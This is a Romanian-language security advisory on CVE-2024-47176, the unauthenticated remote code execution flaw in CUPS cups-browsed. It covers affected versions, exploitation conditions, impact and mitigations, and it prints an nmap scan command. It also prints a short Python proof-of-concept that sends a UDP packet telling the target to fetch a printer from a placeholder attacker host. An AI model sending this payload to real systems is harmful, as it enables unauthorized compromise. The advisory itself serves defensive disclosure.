Raport consolidat eveniment cibernetic

CVE-2024-47176

CVE-2024-47176 este o vulnerabilitate de tip Execuție de Cod la Distanță (RCE) neautentificată, care afectează componenta cups-browsed din sistemul de imprimare CUPS (Common UNIX Printing System). Aceasta este cauzată de faptul că serviciul cups-browsed ascultă pe adresa INADDR_ANY:631, permițând recepționarea de pachete de la orice sursă și acceptarea cererilor IPP (Internet Printing Protocol) către o adresă URL controlată de atacator.

Mai specific, vulnerabilitatea apare când cererile IPP, cum ar fi Get-Printer-Attributes, sunt direcționate către imprimante malițioase controlate de atacator. Această problemă devine critică atunci când este exploatată în lanț cu alte vulnerabilități asociate, precum CVE-2024-47076, CVE-2024-47175 și CVE-2024-47177. În combinație, acestea permit atacatorilor să execute comenzi arbitrare pe mașina țintă fără a necesita autentificare.

Sistemele vulnerabile sunt cele care au instalat și activat cups-browsed pe portul UDP 631 și sunt accesibile fie direct din internet, fie din rețele locale. În practică, exploatarea implică adăugarea sau utilizarea unei imprimante malițioase de către atacator, ceea ce poate conduce la compromiterea completă a sistemului(Ubuntu).

Informații suplimentare

TIP	Remote code execution (RCE)
Versiunile afectate	• *cups-browsed*≤2.0.1 • Nu există o versiune remediată disponibilă, ceea ce facilitează atacurilor atunci când sunt active configurările standarde a CUPS.
Instrumente de analiză	• Nmap- pentru detectarea a porturilor și serviciilor *IPP/CUPS* prin intermediul comenzii: “sudo nmap -sV -p 631 --script=cups-info -Pn <TARGET_IP>” • **PoC Exploitation Script**: Un script Python disponibil pe GitHub care demonstrează execuția de cod pe mașinile vulnerabile: “” “#!/usr/bin/env python3 import socket def send_malicious_packet(target_ip, target_port, payload): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(payload.encode(), (target_ip, target_port)) print(f"Payload sent to {target_ip}:{target_port}")

	send_malicious_packet("192.168.1.100", 631, '0 3 http://<ATACKER-IP>:<PORT>/printers/whatever')"
Condiții de exploatare	• *cups-browsed* trebuie să fie configurat pe mașina țintă și să fie activat pe portul UDP 631. • Serverul trebuie să fie accesibil din exterior sau din rețeaua locală. • Un atacator poate exploata vulnerabilitatea trimițând cereri IPP către server și forțând conexiuni către o imprimantă falsă.
Instrumente pentru efectuarea exploatării	• **PoC Exploit Script (Python)**: Trimiterea pachetelor IPP malițioase pentru execuția de comenzi. • **Nmap pentru Detectare**: Utilizarea scriptului cups-info pentru a colecta informații despre versiunea CUPS și starea imprimantelor. • **Burp Suite**: Pentru a intercepta și modifica cererile HTTP/IPP în rețeaua locală.
Impact	**Confidențialitatea**- atacatorul poate accesa fișiere și date din sistemul compromis. **Integritatea** - modificarea fișierele sau configurația sistemului **Disponibilitatea** - poate cauza un DoS sau forța mașina să se conecteze la imprimante malițioase.
Recomandări generice	• Dezactivați sau blocați serviciul cups-browsed dacă nu este necesar**.** • Actualizați cups-browsed la o versiune neafectată (în cazul disponibilității unei versiuni remediată). • Implementați reguli de firewall pentru a bloca porturile 631 (UDP**)** pentru conexiunile externe.

Resurse externe

https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/#Summary

https://github.com/l0n3m4n/CVE-2024-47176

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8